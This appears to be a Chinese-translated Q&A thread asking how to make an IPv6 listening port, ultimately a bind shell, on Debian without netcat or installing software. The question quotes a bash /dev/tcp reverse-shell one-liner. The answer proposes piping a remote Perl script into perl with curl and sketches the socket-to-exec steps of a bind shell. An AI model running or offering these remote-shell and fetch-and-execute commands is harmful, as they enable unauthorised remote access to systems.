![在没有 netcat 的情况下在 IPV6 上创建监听端口](https://linux22.com/image/90578/%E5%9C%A8%E6%B2%A1%E6%9C%89%20netcat%20%E7%9A%84%E6%83%85%E5%86%B5%E4%B8%8B%E5%9C%A8%20IPV6%20%E4%B8%8A%E5%88%9B%E5%BB%BA%E7%9B%91%E5%90%AC%E7%AB%AF%E5%8F%A3.png)
我希望能够监听 IPV6 地址上的端口(最终创建绑定 shell)。
我尝试使用安装在我尝试绑定的 linux (debian) 机器上的 netcat。遗憾的是,它似乎只绑定到 IPV4 TCP 端口,而不绑定到 IPV6。 (这是旧版本的netcat,不支持IPV6)
我知道反向 shell 存在类似的方法,我想知道是否有类似的方法适合我的情况?
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
有一些规则我无能为力:
我无法安装额外的应用程序,无法更新,也无法自行创建应用程序。
答案1
不。读:/dev/tcp 监听而不是 nc 监听。
如果没有更多信息,您可以使用系统版本的 perl,它是 Debian 中的必备软件包。编写一个单文件 perl 脚本。您几乎肯定可以找到一种方法来执行单文件脚本,而无需它作为应用程序存在于目标系统上,例如curl https://dropbox.com/.../script.pl | perl
。该脚本将在ing 原始 fd之前使用系统调用socket()
, bind()
, listen()
,dup2()
来替换 stdin 和 stdout , 和。close()
exec()
python
standard
如果您安装了 Debian 软件包,那么编程会更好。
显然,如果您安装了,inetd
您可以使用自己的配置文件运行它。如果您不介意使用 SSH 并且sshd
已安装,那么就可以使用它。它肯定比任何其他选项更安全:-P。读:是否可以以普通用户身份运行 sshd?